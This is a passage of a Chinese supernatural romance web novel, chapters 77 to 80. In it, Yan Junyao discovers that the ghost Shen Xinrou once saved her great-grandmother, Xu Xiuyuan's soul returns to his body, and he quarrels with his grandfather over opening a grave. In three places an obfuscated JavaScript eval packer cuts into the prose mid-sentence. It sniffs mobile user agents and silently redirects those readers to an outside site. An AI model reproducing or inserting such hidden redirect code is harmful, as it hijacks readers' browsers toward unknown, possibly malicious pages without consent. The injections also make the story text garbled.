颜珺瑶一愣,就听赵敬鸿继续说道:“你既然是来祭拜她的,为什么那些纸钱没有烧完?为什么看到我们来了,你就要跑?你和她到底什么关系?” “……” 颜珺瑶简直要被气笑了,这蠢货到现在还怀疑她是沈新柔的亲人吗? 而且,许忠林似乎也信了。 她脸色一沉,“这里确实是空坟,但我不来这里祭拜她,还能去哪里找她?去许家老宅吗?” 赵敬鸿完全不把她的话当回事:”她们母女一直跟在你身边,你想见她们,容易的很。那次在别墅,我在你房门外听到你在里面和许薇萍说话了,是你把她叫出来的。 你知道我们请了严九香前辈,担心今晚会来这里叫魂,所以你提前来了。“ 简直是脑子进水。 颜珺瑶盯着许总林问道:许董,你也相信他的胡说八道?” 许忠林不语,她继续说道:“我和许修远是好朋友,我来这里是为了求她放过许修远。如果不是赵敬鸿那天对我动手,许修远也不会变成这样,你今天再听信了赵敬鸿的话,又对我下手,把我关起来,我相信许修远醒来之后,他绝对会怪你的。” 赵敬鸿嘴角抽搐,神色狠厉地看着颜珺瑶。 许忠林终于开口了:“颜小姐,我只有一个问题,你必须说实话。 你到底和沈新柔是什么关系?你是不是和她有血缘关系?她为什么会知道你从前练过武术?” 颜珺瑶举起右手示意:“举头三尺有神明,我敢保证我和她没有血缘关系,在认识许修远之前,我甚至没有听说过沈新柔这个名字。但她们母女跟了我一段时间,了解一些我的情况,也不是不可能。 至于为什么我和她长相相似,她又为什么会找上我,我也觉得奇怪。” 赵敬鸿不服气,“你分明见——” “闭嘴!” 许忠林呵斥了一声,闭了闭眼,朝两个保镖挥了下手。 “谢谢颜小姐为修远做的这一切,许家一定会报答,路上注意安全。” 颜珺瑶看了他两秒,“许董,现在最重要的是许修远,你最应该做的是满足沈新柔的那几个条件,别再想着和她斗了。” * 回到出租房的时候,已经凌晨两点。 跑了一整天,一身的狼狈,又饿又累。 颜珺瑶今晚算是深刻体会到一点,有时候,人比鬼可怕。 吃完泡面,洗完澡,躺到床上的时候,居然毫无睡意。 满脑子都是今天的所见所闻,以及最重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16280846|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要的一件事,那就是许修远的生魂现在到底在哪里? 虽然汤爷爷和沈新柔都跟自己说了,许修远一定不会有事,但是他没醒过来,还是很让人揪心不安。 严婆婆说他的生魂被困在一处山上,他在几座坟附近打转,走不出去。 乍一听这话,第一反应一定是今晚去的地方,可那里却没有。 那还能是在哪里的山上呢? 外面晨光微露之时,颜珺瑶终于扛不住身体的本能,迷迷糊糊睡了过去。 等到耳边闹铃乍响,颜珺瑶瞬间被惊醒,她知道是哪里的山了。 * 颜珺瑶再次请了假,主任明显地有些不高兴了,委婉地提醒颜珺瑶这几个月来请的太多了,就算他没意见,其他同事看在眼里,也会不舒服的。 她没办法,只好搬出许家,表示许家老爷子又请她帮忙,原先以为昨天就能结束,但是材料比较多,所以就多拖了一天。 主任不得不答应了。 颜珺瑶不敢再自己开车,一大早就去了车站,再次坐上回老家的中巴。 在车上的时候,她给爷爷去了电话,询问太奶奶给恩人立的那个衣冠冢大概是什么哪一年,恩人是不是姓施。 电话那头的颜丙文想了想,“好像是在我三四岁的时候吧,具体哪一年也记不清了,确实是姓施,墓碑上都刻着呢,你怎么给忘了呢!” 原来如此,原来如此—— 怪不得昨晚沈新柔说自己和家里的长辈很像,一点小恩情就铭记在心上,她说的就是自己的太奶奶,当初在半路上救了太奶奶,送她去医院的就是沈新柔。 所以许家人口中那个时不时会带着新鲜瓜果上门找沈新柔的乡下妇人,沈新柔口中的远方亲戚,就是自己的太奶奶。 太奶奶和沈新柔没有亲戚关系,沈新柔会这么说,也许是不想许家的下人在每次太奶奶上门时欺负了她。 可太奶奶怎么会知道沈新柔本姓施呢?是沈新柔信任太奶奶,所以告诉她的吗? 原来自己并不是和沈新柔没有任何关系,她真的是自己家的大恩人,如果没有她救了自己的太奶奶,也就不会有爷爷,更不会有自己了。 * 到了镇上换车,终于进了村里,女主直奔山上。 确实如爷爷所说,地面有些泥泞,还没干透。 沿着山路走了快二十分钟,太爷爷太奶奶还有恩人施氏三人紧挨着的墓出现在视野里。 颜珺瑶一边跑着,一边大声喊道:“许修远,你是不是在这里?你别害怕,你马上就能回去了,别害怕!” 来到恩人施氏的墓碑前,颜珺瑶跪下,用力地磕了三个头。 她郑重地说道:“沈新柔,我之前一直不知道原来您就是以前救了我太奶奶的恩人,谢谢您救了我太奶奶,否则也就没有我们家了,更不会有我。除此之外,我外婆也跟我说过,您也帮过我外太婆家里。 只要以后我有孩子,我的子孙一定也会继续祭拜您的,谢谢您对我们家的大恩大德。” 她将刚买的纸钱拆开,掏出打火机的时候,对着虚空说了一句:“沈新柔,许修远,如果你们都在附近的话,要离得远一点,我要开始烧纸了,别燎到了你们。” 说完之后,就用打火机点了火,慢慢烧了起来。 “昨天中午爷爷告诉我,你的这个衣冠冢被雨水冲坏了一角,爷爷已经找人补好了。我不知道您的父亲把您和许薇萍的尸骨葬在何处,如果您以后愿意告诉我,那我就去那里祭拜。如果不方便说,我每年还来这里给您烧纸钱。” 好半晌,几摞纸钱终于烧完了,颜珺瑶站在墓碑前鞠了个躬,而后才离开。 离开前,她还是忍不住四处看了看。 “许修远,严婆婆说你被困在一座山上的坟墓附近,我猜应该就是这里,这里葬着的是我太爷爷太奶奶,还有曾经救过我太奶奶性命的恩人施氏,也就是沈新柔。沈新柔说了不会伤害你的,相信你很快就能回去了。” 78. 第 78 章 颜珺瑶回到爷爷奶奶家里,两个老人惊喜于她回家来了,但又有些奇怪她怎么突然又回来了。 不仅如此,奶奶还闻到她身上的烟熏火燎的味道,问她去干了什么。 她笑呵呵地糊弄了过去。 午饭做好时,爷爷奶奶盛了一碗豆腐海蛎羹,让颜珺瑶送过去给汤爷爷添菜。 隔壁的大门半敞着,汤爷爷就坐在一楼的布艺沙发上。 她正要腾出手来敲下门,汤爷爷已经看到她了。 “进来吧!” 颜珺瑶进了屋子,将羹汤放到了餐桌上,对汤爷爷说道:“我爷爷说您喜欢吃海蛎羹,让我端一碗过来给您添个菜。” 汤爷爷笑了笑,“多谢你爷爷天天惦记着我,替我向你爷爷道谢。” “您客气了——”颜珺瑶抿了抿唇,“我今——” 她的话戛然而止,因为她看到张熙杰父亲从厨房出来了。 郑贺今见到颜珺瑶也是愣了一下,随即笑道:“珺瑶回来了啊,正好尝尝叔叔婶子的手艺,我和你婶子今天做了红烧排骨——” 然后,颜珺瑶端了一份红烧排骨回去了。 吃过午饭,张熙杰给她打了电话,奇怪她怎么连续请假两天,是不是又生病了。 “身体没事,有点其他的事情要忙,明天就会正常上班的。” 挂了电话,颜珺瑶有点忧心张熙杰。 不知道他到底知道了多少,也不清楚他是否还在继续查下去,她是真的不希望他卷入这件事,千万千万不要。 下午三点多,颜珺瑶跟爷爷奶奶说了一声,就又要回去了。 老两口见她没开车回来,要送她去坐车,她劝住了,最后两个老人站在院门口目送着她离开。 颜珺瑶走了没多久,蓦地听到身后的脚步声。 她下意识回头,居然是汤爷爷出来了,脚步有些吃力。 她忍不住要过去扶他,汤明山摆了摆手,“我自己能走得动,出来透透气。” 颜珺瑶放慢脚步陪着他走,快要到平日里等车的地方时,她突然开口了。 “汤爷爷,我才知道沈新柔就是当年救过我太奶奶的那位大恩人,这些年您也帮过我们家不少忙,非常感谢您和沈新柔。” 汤明山突然笑了笑,并没有看她,而是看向前方来来往往的人。 良久,颜珺瑶又问道:“萍萍她——怎么样了?” 汤明山并不回答她的问题,而是说道:“今晚他就会醒过来。” 还不等她有所反应,他就转身回去了。 颜珺瑶愣了一瞬,随即喊道:“谢谢汤爷爷!” 汤明山挥了挥手,没有回头,拖着影子一步一步地往家走去。 * 回到市里已经快六点了,颜珺瑶先回到住处把车开回了家,还给了父亲,又和父母一起吃了晚饭,心不在焉地看了会电视。 颜珺瑶就借口有稿子要改,打算回出租房那边了。 出了小区,她打了车直奔医院。 汤爷爷说是今晚就会醒,不知道具体是几点,这会儿已经八点多了,要是还没醒,十二点之前一定会醒过来的,汤爷爷不会骗她的。 到了医院病房,里面很安静,她敲了敲门,过来开门的还是许家老宅的那位保姆阿姨。 许修远的母亲也在,沉默地坐在病床边一直看着许修远,等着自己的孩子醒过来。 梁舒惠听到动静,转身见到来人是谁,勉强地挤出一个得体的微笑。 “颜小姐,你又来看小远呀——” 她指着病床另一边的一张凳子,“请坐!” 一天没见,梁舒惠肉眼可见地憔悴了。 颜珺瑶问过好之后,也不知道该怎么安慰她,只能安静地坐在一旁,陪她一起等着。 阿姨给她倒了杯温水,梁舒惠可能是没心情和她说话,又担心怠慢了她,怕她尴尬,便吩咐阿姨给她切了水果,拿了点心。 颜珺瑶没什么胃口,但还是意思地吃了一小块苹果,就没再动过了叉子了。 梁舒惠太心焦了,之后又忍不住在她这个不熟悉的人面前倾述道:“这孩子也不知道怎么了,今天从B市过来的那两位专家都说一切正常,可就是一直不醒,这都两天了,还是这样——” 说着,眼眶就红了。 颜珺瑶赶紧抽了张纸递过去,安慰道:“阿姨,许修远一定会没事的,说不定——今晚就能醒过来!” 梁舒惠只当她是安慰自己,不过倒是让她情绪稍稍得到了缓解。 她擦了擦眼角的泪水,“他爷爷今天又是去了祠堂,又是去了墓园那边祭拜,但愿祖宗保佑。” “……祖宗一定会保佑的,许修远是个特别好的人,一定会没事的。” 梁舒惠笑了笑,突然对她有些好奇了,“还不知道颜小姐是做什么的呀?” “阿姨,我在电视台上班,是一名记者。” 梁舒惠脸色微变,“记者?” 颜珺瑶赶紧说道:“阿姨,您放心——” “妈,她不会说出去的!” 颜珺瑶和梁舒惠瞬间愣住,迅速看向病床上的许修远。 这人正睁着双眼,浅浅地笑着,视线在她们俩身上来回。 “小远,你终于醒了!” “你醒啦!” 颜珺瑶赶紧按了呼叫铃,梁舒惠一下子抓住许修远的手,再次红了眼眶,哽咽道:“你快吓死妈妈了——” “妈,我没事了,你别担心啊!” 许修远撑着手臂要坐起来,梁舒惠却让他不要动,“等医生来了再说。” 许修远只好答应了,对上颜珺瑶笑盈盈的脸,无奈地笑了。 很快,医生和护士就进了病房,好一通检查过后,确认一切正常。 等到医生护士离开之后,梁舒惠又要求许修远再在医院住一晚上,“明天检查还是没问题,才可以出院的。” 许修远刚想开口说不用了,自己已经完全没事了,就听到一旁的颜珺瑶附和:“是啊是啊,阿姨说的没错,多观察一晚上还是妥当的。” 许修远再次妥协。 没多久,许忠林就赶了过来,红光满面地看着男主,眼底是抑制不住的激动。 一起跟过来的赵敬鸿,在注意到她之后,脸色一沉,眼神带上了几分猜忌。 颜珺瑶直接给了他一个白眼,便不再搭理他。 时间不早了,许修远让大家早点回去休息。 许忠林也点头说道:“对,小远刚醒来,先让他好好休息吧!家里熬了粥,待会儿司机会过来,一定要吃点。” 许修远点头答应了,颜珺瑶朝他嘻嘻笑了笑,正要跟着众人一起离开病房,许修远却突然喊了她的名字。 “珺瑶——” “?” 颜珺瑶停下步子,转身看他,就听许修远继续说道:“你稍等一下,我有话要跟你说。” “……哦,好!” 梁舒惠意味深长地和儿子对视了一眼,又瞅了瞅颜珺瑶,满脸笑容地离开了病房。 阿姨见两人有话要说,识趣地去了外间。 颜珺瑶笑眯眯地坐回床边,好奇他要跟自己说什么。 许修远的视线在她脸上和胳膊上逡巡了好一会儿,突然伸手想摸摸她的额头,但刚抬起来又缓缓放下了,指了下额头,“有些红了,疼不疼?” “哦,没事——” 颜珺瑶跟着摸了摸自己的额头,蓦地顿住,而后眨了眨眼睛不可置信道:“你当时真的在那里吗?” 许修远握住她的手,“嗯,我不记得自己是怎么到那里的,等到有了意识,才发现自己困在那里,一直走不出去。一开始我并不知道自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16291460|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是生魂离体,直到我看到一个老人出现在那几座墓前,他听不到我说话,看不到我,我才发现自己是灵魂出窍了。 那天下午我又看到那个老人,他带了两个人在修坟。我很无措,无论怎么走都离不开那里。” “那应该是我爷爷,他昨天带人去修的。” 许修远点点头,继续说道:“今天早上,我看到了你,又听到你在叫我的名字,还对着我说话,我才知道自己还活着,就真的没有那么恐慌了。” 颜珺瑶笑着说道:“我也是猜的你可能会在那里,没想到真猜对了。 严婆婆说你在一座山上的几座墓附近,可昨天晚上你爷爷带着人去了许家墓园边上,也就是那两座空坟那去喊魂,但没有喊回来,严婆婆说你不在那里。 正好我昨天上午回去的时候听我爷爷说了,前些时间雨水有点多,山上泥泞的很,还把祖坟给冲坏了,所以我今天就又回去了一趟。” “你是怎么发现沈新柔就是当年救你太奶奶的那个人?” 颜珺瑶抓了抓脸,有些尴尬道:“其实我应该早就发现的,之前每年回老家扫墓,我爷爷都会同时祭拜施氏,今年清明节的时候,我爷爷还又跟我说了一次,嘱咐我以后他不在了,不要忘了祭拜施氏。 我满口答应了,却不够上心,没记清楚她的姓氏,所以在得知沈新柔本姓施之后,我也没有想到这一点。 直到昨晚她无意间的一句话,提到了我家的长辈,我才猛地意识到她应该就是我太奶奶生前一直记挂在心上的恩人施氏。” “今天上午你离开那里之后,我见到了沈新柔。” 颜珺瑶一下子坐直了身子,好奇道:“然后呢?” 许修远深深地看着她,叹了口气,“她告诉我,你昨晚一个人跑到那么清水山上给她烧纸,求她放过我。” 不仅如此,其实沈新柔还告诉他,这姑娘昨晚还不知道沈新柔曾救过她太奶奶,就因为沈新柔跟她保证许修远不会有事,她就感激地愿意一辈子都祭拜她。 颜珺瑶有些不好意思,“我没帮上忙,没能让你立即就醒了,不过她告诉我你不会有事,我就稍稍放了心。 你妈妈说你爷爷今天去了祠堂,还去了墓园,应该是他把那几个要求都做到了,所以你就回来了。” 许修远笑了,心想,傻姑娘,沈新柔是因为你才让我回来的,她被你的真心所感动。 沈新柔当时对他说:“如果以后你和她在一起,不要负了她,世上能这么纯粹地对你好的女孩很难再有。就算我当初愿意和许君平在一起,不仅仅是因为爱他,我也是看中了他的家世,我对许君平的爱不如这个姑娘对你的感情来的纯粹。” 他突然说道:“不,我爷爷还没有找到项链。” 颜珺瑶讶然,“啊?那怎么——” 她没有说下去,也许是沈新柔出于本性的善良,不想让许修远受罪,所以让他提前回来了。 她赶紧改口道:“那条项链到底在哪里呢?” 她歪着头思索,就听许修远说道:“我想到了一个地方。” 奶奶在世时曾说过太奶奶生前喜爱珠宝首饰,即使年纪大了还是喜欢,看到钟意的二话不说就会买下来。 爷爷孝顺,太奶奶离世的时候,爷爷把太奶奶生前最喜欢的一部分首饰放到棺木里了。奶奶觉得十分可惜,没有这个必要,但爷爷根本不听,坚持要这么做。 爷爷会这么做,有没有可能当年大姑奶奶离世的时候,太奶奶也是这么做呢? 如果真的是这样的话,那么项链就很可能是在大姑奶奶的墓里。要想拿到项链,就得破土开棺。大姑奶奶已经长眠几十年了,爷爷肯定是不会愿意让她死后还不得安宁。 大概是这两天一直在坟地里跑来跑去的,颜珺瑶脑子里跳出一个念头,她惊呼一声,“会不会是——陪葬了?” 79. 第 79 章 许修远点点头,“嗯,应该是在大姑奶奶的棺木里。只有在墓里,我爷爷才会如此不配合。” 颜珺瑶暗忖,现在许修远已经没事了,那他爷爷还会愿意开棺取项链吗? 上一次赵敬鸿的那一刀,导致许薇萍的阴魂没了,她觉得沈新柔不会就这么放过许家的,特别是许忠林,否则当时就不会差点把赵敬鸿掐死,还当场带走了许修远的生魂。 颜珺瑶犹豫了两秒,“那你打算——怎么做?” 许修远微不可察地敛了敛眸,“我会想办法的。” 司机进来送饭,颜珺瑶便打算离开了,许修远嘱咐司机送她回去,连阿姨也不用留下来照顾他,跟着司机回去休息。 * 次日一大早,梁舒惠容光满面地来到医院,给许修远带了早餐。 许修远刚醒来没多久,梁舒惠一边看着他吃早餐,一边跟他打听梁舒惠的事情。 她笑眯眯地问道:“那个姑娘多大了?” “二十四。” “哦,小你四岁,挺好的,你俩认识多久了?” “几个月吧。” 梁舒惠心想,原来刚认识没多久。 她忍不住又问道,“那你俩到底啥关系?男女朋友吗?” 许修远抬眸看了她一眼,无奈笑道:“不是。” 梁舒惠一听这话有苗头,不是?那就是以后有可能会是喽! 她轻咳一声,“这姑娘挺好的,漂亮灵动,妈妈挺喜欢的。你什么时候带她回家吃顿饭呀,妈妈和她好好聊一聊。” “妈——” 梁舒惠很识趣,“好吧,妈妈不说了,你自己的终身大事,你自己做主。哦,对了,你爷爷怎么也认识她,而且好像还挺熟悉的?” 许修远解释道:“之前电视台采访过爷爷,而且她外公是很出名的中医,爷爷找过她外公看病。” 梁舒惠好奇:“是哪位中医呀?” “钱伟诚。” 梁舒惠双眼一亮,“哎呀,妈妈听说过的,你大姨夫几年前身体不好,就是找这位中医调理好的,没想到就是颜小姐的外公呀!” 许修远轻描淡写地瞥了她一眼,她看出儿子的意思,“你放心,妈妈不会私下里去找颜小姐的,免得把她吓坏了,对吧!” 吃过早饭,许忠林也过来了,让她今天好好休息一天,公司那边的事情不用操心。 许修远自觉已经完全没事了,于是在医生再次确认一切正常之后,就坚持出院。 * 回家的路上,许修远收到颜珺瑶发来的微信,问他今天感觉怎么样。 【我没事了,已经出院了,你今天忙不忙?】 颜珺瑶回复了两个字:【还好。】 其实她没说的是,早上被主任叫到办公室委婉地说了一顿。 她也不敢回嘴,一个劲儿地承认错误,保证自己以后一定好好工作。 许修远和梁舒惠一起去了老宅,一家人吃过午饭后,许修远就去了公司,一直忙到夜里八点多才结束。 离开公司的时候,他突然想起来,半个月之后就是颜珺瑶的生日,不知道她往常都是怎么过的生日,当天有没有空和他一起吃个饭,或是见个面。 之前找人定做的手链应该再过一周左右就会送到,希望她能喜欢。一想到这个,他莫名地有几分紧张。 他忍不住给颜珺瑶打了个电话,但没打通。 许修远收起心头的微微失落,驱车回了老宅,他要尽快说服爷爷才行。 回到老宅,宗叔告诉他,爷爷正在书房和人谈事情。 他先回房换了衣服,刚回到一楼客厅,就看到宗叔送一个三十多岁的男人出去了。 许修远径直去了书房,正要敲门时,手机响了。 是颜珺瑶打来的。 他走到了走廊边的窗户旁,接起电话,就听到电话那头背景有些嘈杂,像是在外面。 颜珺瑶一如既往笑呵呵的,“身体好些了吗?” “嗯,已经没事了,一切正常。” “那就好,饿了两天,还是要好好补补!” 颜珺瑶解释道:“我跟我爸妈在逛超市,刚才没接到你的电话,你是有什么事情要跟我说吗?” 许修远一时不知道该怎么说,默了片刻,才道:“你手上的伤还疼吗?” “不太疼了,就是开始有些痒,还有就是有些不方便,洗澡的时候都要小心翼翼的,其他的都还好。嘿,轮到我结账啦,回头再聊呀!” 结束通话,他敛了敛脸上的笑意,再次来到书房前,敲响了书房的门。 * 进入书房,许忠林似乎已经猜到许修远的来意。 还不等他开口,便说道:“沈新柔提的要求我已经都做了,项链继续派人在找了,改族谱的事我之前就已经提了,族里的人也同意了,新的族谱过段时间才能制作好。” 许修远开门见山地问道:“爷爷,三姑奶奶的项链是不是在大姑奶奶的棺木里?” 许忠林瞳孔一缩,而后叹了口气,“不是。” 许修远并不相信他的话,“那条项链,您当年一定没有随手送给了路过的乞丐。大姑奶奶的东西,太奶奶很可能是给了二姑奶奶,或是自己留着做念想,再有就是给大姑奶奶随葬了。 我问过表舅和表姑他们,他们没印象二姑奶奶的首饰里有什么蝴蝶项链。太奶奶留下的首饰我也找过了,也没有,那就只可能是随葬了。要么在太奶奶的棺木里,要么就在大姑奶奶的棺木里。” 许忠林有些怒了,“简直是一派胡言,难道就不能是她们送人了吗?” “如果真的是太奶奶或者是二姑奶奶,甚至是大姑奶奶送人了,您当初就不会骗沈新柔说被您随手送给了路过的乞丐。” 许忠林大声道:“当时那么说只是权宜之计,这东西就是被送人了,这么多年还不知道在多少人手里辗转过,要想找到需要时间。” 许修远十分肯定道:“爷爷,您不用再骗我,我知道项链肯定是随葬了。” 许忠林瞪圆了眼睛,“难道你还敢去破开她们的墓吗?” 许修远沉默了片刻,“大姑奶奶害死了三姑奶奶,这是她欠三姑奶奶的,是她自己生前造的孽,那——” 许忠林狠狠拍了下桌子,“你给我闭嘴,她是你的长辈。” “大姑奶奶确实是我的长辈,但我说的是事实。她和太奶奶种下了因,才会有现在的果。” 许忠林猛地站了起来,“目无尊长,你是想把我气死吗?” 许修远一瞬不瞬地看着他,好半晌才说道:“爷爷,您觉得为什么沈新柔会突然把我放回来?是因为您完成了沈新柔的那几个要求吗?您为什么不问问我生魂离体的两天都经历了什么?” 许忠林一下子愣住了,就听到许修远继续说道:“爷爷,我被困在一座山上,怎么都走不出去,一直在打转,也不清楚自己到底是不是死了,这种恐惧比无知无觉更可怕。 这两天,您是否有过要开棺的想法呢?” 许忠林神色狠狠一滞,许修远叹了口气,“在您心里,一条项链比我更重要。 那天您让赵敬鸿伤了三姑奶奶,所以二太奶奶才会一怒之下差点掐死了赵敬鸿,还带走了我的生魂。可她不等你找到项链,却突然放我回来,您就没有想过她现在对我们许家不仅仅是要求做到那四件事,更有可能是继续报复我们家吗? 原本事情可以很快就解决的,但您迟迟不愿意把项链还给三姑奶奶,甚至一直还想要除掉她们母女,现在弄成这样,让二太奶奶更加痛恨我们家。人与阴魂斗,您真的觉得自己能斗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16291461|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得过吗?毕老先生还在世的时候都只是把她困住而已,甚至对二太奶奶父亲在后院布的阵法都束手无策,您真能在短时间内找到比毕老先生更厉害的人吗? 您为了除掉她们母女,非法监禁珺瑶,还多次试图要用那把刀伤害她,您是觉得许家可以一手遮天吗?还是觉得她为我们家帮了这么多次忙,是为了钱呢?不是,仅仅是因为她拿我当朋友,所以愿意一直帮我,而不是许家,更不是您。 这次我之所以能这么快回来,是珺瑶去二太奶奶和三姑奶奶的坟前磕头求的她们。二太奶奶因为一直借用她的身体,对她心生愧意,所以才答应了她。如果这次没有珺瑶,您还在满世界地找什么高人大师,要帮我喊魂,要除掉二太奶奶。 爷爷,那天二太奶奶上了我的身,让您用那把刀捅我,您舍不得,是因为担心我要是出了事,许家就真的断子绝孙了,对吗?所以您唯一的孙子不能受伤,不能出事,但是颜珺瑶就可以,是因为她不是您的继承人,又只是一个普通人家的孩子,不会闹出多大的风浪吗?您的良心去哪里了?” 许忠林气得直发抖,“我是你爷爷,你知道你在说什么吗?” “您是我爷爷,我也非说不可。二太奶奶也是普通人家的孩子,而且还是在那个动乱的年代,还不是把许家弄的家宅不宁,几乎断子绝孙。您希望这种局面再在许家未来几代的子孙身上发生吗? 更何况,您应该是忘了珺瑶的外公是谁,您可以再查一查她外公都给谁看过病,他教过的学生都有谁,也许她外公的人脉并不输于许家。就算不靠她外公,第一次您非法监禁她,如果事后她真的要追究,即使不能真的把您怎么样,也能让许家的名声受到影响。您还要动她吗?” 许忠林几乎吼了出来,“我这么做都是为了你,你是我仅有的血脉了,我怎么会不在乎你?就是因为我最在乎的就是你,所以我必须在临死前帮你除掉所有的威胁。 沈新柔母女现在根本不是人,她说只要做到那四件事就可以了,你觉得能信吗?她的话不可信,当初进许家的时候就没说真话,现在她为了报复我们家,当然可以这么说来让我们放松警惕。” 许修远垂下了眼眸,好一会儿才长叹了一口气,而后站了起来,再次看向许忠林。 “难道我们保持警惕,就能斗得过她了?您为什么一直这么执迷不悟呢?是不是就非得看到我出事,您才满意呢? 那一天您就应该亲手给我一刀,这样的话她不就魂飞魄散,再也不会来打扰我们许家了吗?” 许忠林气得说不出话来,“啪”地一声,直接给了许修远一巴掌。 书房里一下子安静了下来,许修远的半张脸顿时就红了。 许忠林打完的一瞬间就后悔了,这可是他宝贝了二十八年的孙子啊,不曾动过他一下,就连以前自己的儿子儿媳教训孩子,他都会生气,可自己今天居然动手打了他。 许修远抿了抿唇,“我知道三天之后是大姑奶奶的忌日,等忌日过后,我就破土开棺。” 许忠林气血上涌,双眼都通红了,“你敢!” “您说我贪生怕死也好,说我是不肖子孙,我也认了,活人比死人更重要,我不得不这么做,否则这件事什么时候是个头?您告诉我,到底该怎么做?” 许忠林再次举起了手,但很快又放下了。 “你要是敢这么做的话,你就跟着沈新柔姓施,写到他们施家的族谱上去。” “如果您真的要把我从族谱上除名,我也左右不了您。不过我不用跟着二太奶奶姓,我随母姓就可以。” 许忠林伸出手指向门口,“给我滚出去!” 许修远并没有立即走,“如果二太奶奶哪一天借用了我妈的身体,您是不是也会义无反顾地捅上一刀?” 话音落下,他转身就走。 80. 第 80 章 颜珺瑶恢复正常上班,但今天她发现张熙杰看她的眼神不对劲,而且欲言又止的。 中午休息的时候,她就直接过去找了张熙杰,问他是不是有话要跟自己说。 张熙杰看了她好一会儿,才点了点头。 “你请假两天是回了老家,对吗?出什么事了?” 颜珺瑶愣了一瞬,“没什么事了,你放心。” 张熙杰对于“没事”这样的回答已经有些本能的不相信,“和我爷爷有关吗?” 颜珺瑶一惊,张熙杰怎么会突然这么问?汤爷爷肯定是不会把事情告诉他的,她也从没说过,可他似乎真的猜到了什么。 她干笑一声,“和汤爷爷没关系,你怎么会觉得——” 张熙杰打断她的话,“珺瑶,你相信这个世界上有鬼吗?” 颜珺瑶看了他好半晌,咽了咽口水说道:“不算特别相信吧——但世界之大,无奇不有,也许真的存在。” 张熙杰直直地盯着她的双眼,似乎是在观察她是否说的是真话。 “珺瑶,那天晚上去许家老宅的人,是你吗?” 颜珺瑶浑身一震,眨了眨眼睛,“当然——是我呀,你不是都看到我了?还能是别人啊!” 张熙杰追问:“那你知道那天晚上我穿的是什么颜色的上衣,你那天晚上当着我的面给谁打了电话,你又说了什么吗?” 颜珺瑶心里开始慌乱,她是真的不知道。 她强自镇定道:“都好些天了,我不太记得了。你看到的肯定是我呀,不然还能是谁和我长得一模一样呢?我妈可只生了一个孩子,而且也不是双胞胎呀!” “是啊,不是双胞胎,”张熙杰喃喃,“珺瑶,你说这个世界上存在不是双胞胎,却长相相似的人吗?” 颜珺瑶心脏漏跳了一拍,张熙杰知道了?他怎么会知道?他是怎么知道的? 她垂下了眼眸,不想和他对视,“应该——是有的吧,几十亿人口,小概率事件应该有可能发生吧——我也不太确定——” 张熙杰一把抓住她的手腕,“珺瑶,你和我爷爷到底和许家——” 颜珺瑶立即打断他的话,朝四周看了看,低声道:“熙杰,你应该相信汤爷爷,听他的话,他是你的亲爷爷,他绝不可能害你的。” 张熙杰不可思议地看着她,眼中的震惊不是假的。 良久,他才开口问道:“你只要告诉我,那天晚上我碰到的人到底是不是你?” 颜珺瑶十分肯定地说道:“是我,我没有骗你。” * 第二天,许修远照常去公司上班,中午的时候梁舒惠特意给她送了午饭,又嘱咐他要注意休息。 “昨天晚上加班到那么晚才回家,才刚出院,就这么辛苦,身体最重要的,工作是做不完的。” 其实昨晚他是从老宅回了母亲那边,但母亲并不知道他去过了一趟老宅,他也没有解释。 许修远只好笑了笑,“今天会早点下班的,到时候回去陪您一起吃晚饭。” 梁舒惠听到这样的话很是满意,兴高采烈地离开了公司。 回去之前还跟他又提起颜珺瑶,说她上午在网上看到颜珺瑶以前的采访视频,真是优秀的女孩子,口条又好,长得又好,很是不错,话里话外都对她满意的不行。 许修远知道母亲保证过私下不会去找颜珺瑶,她就一定不会这么做的,但她也必然会对颜珺瑶好奇的,忍不住会去搜索她的信息。 不过看到母亲夸奖她,他也莫名地与有荣焉,因为他深有同感。 下午临近下班的时候,梁舒惠又给许修远打了电话,嘱咐他早点回家,让他今晚不能加班了。 许修远坐车回了母亲这边,下了车,还没走到屋里,整个人却突然晕倒了。 司机见状,赶紧大喊起来。 梁舒惠和保姆阿姨从屋里跑出来,一看到这情况,吓得不轻,立即又把人送到了医院,同时又通知了许忠林。 许忠林怎么都没想到,许修远再次不省人事,进了医院,而且医生检查之后还是没有任何问题。 赵敬鸿来了之后,得出了和上次一样的结论,“又是生魂离体。” “又是沈新柔,又是她,她要干什么?” 许忠林神经紧绷,立即给颜珺瑶打了电话,让她赶紧过来。 上次她能把许修远的生魂救回来,这一次一定也能,一定也能。 * 自从昨天中午和张熙杰聊过之后,颜珺瑶就发现他一直有些心不在焉。 很明显他还是不相信那天晚上看到是她。 可自己实际上并没有骗他,当时他看到的人就是她,只不过内里不是她而已。 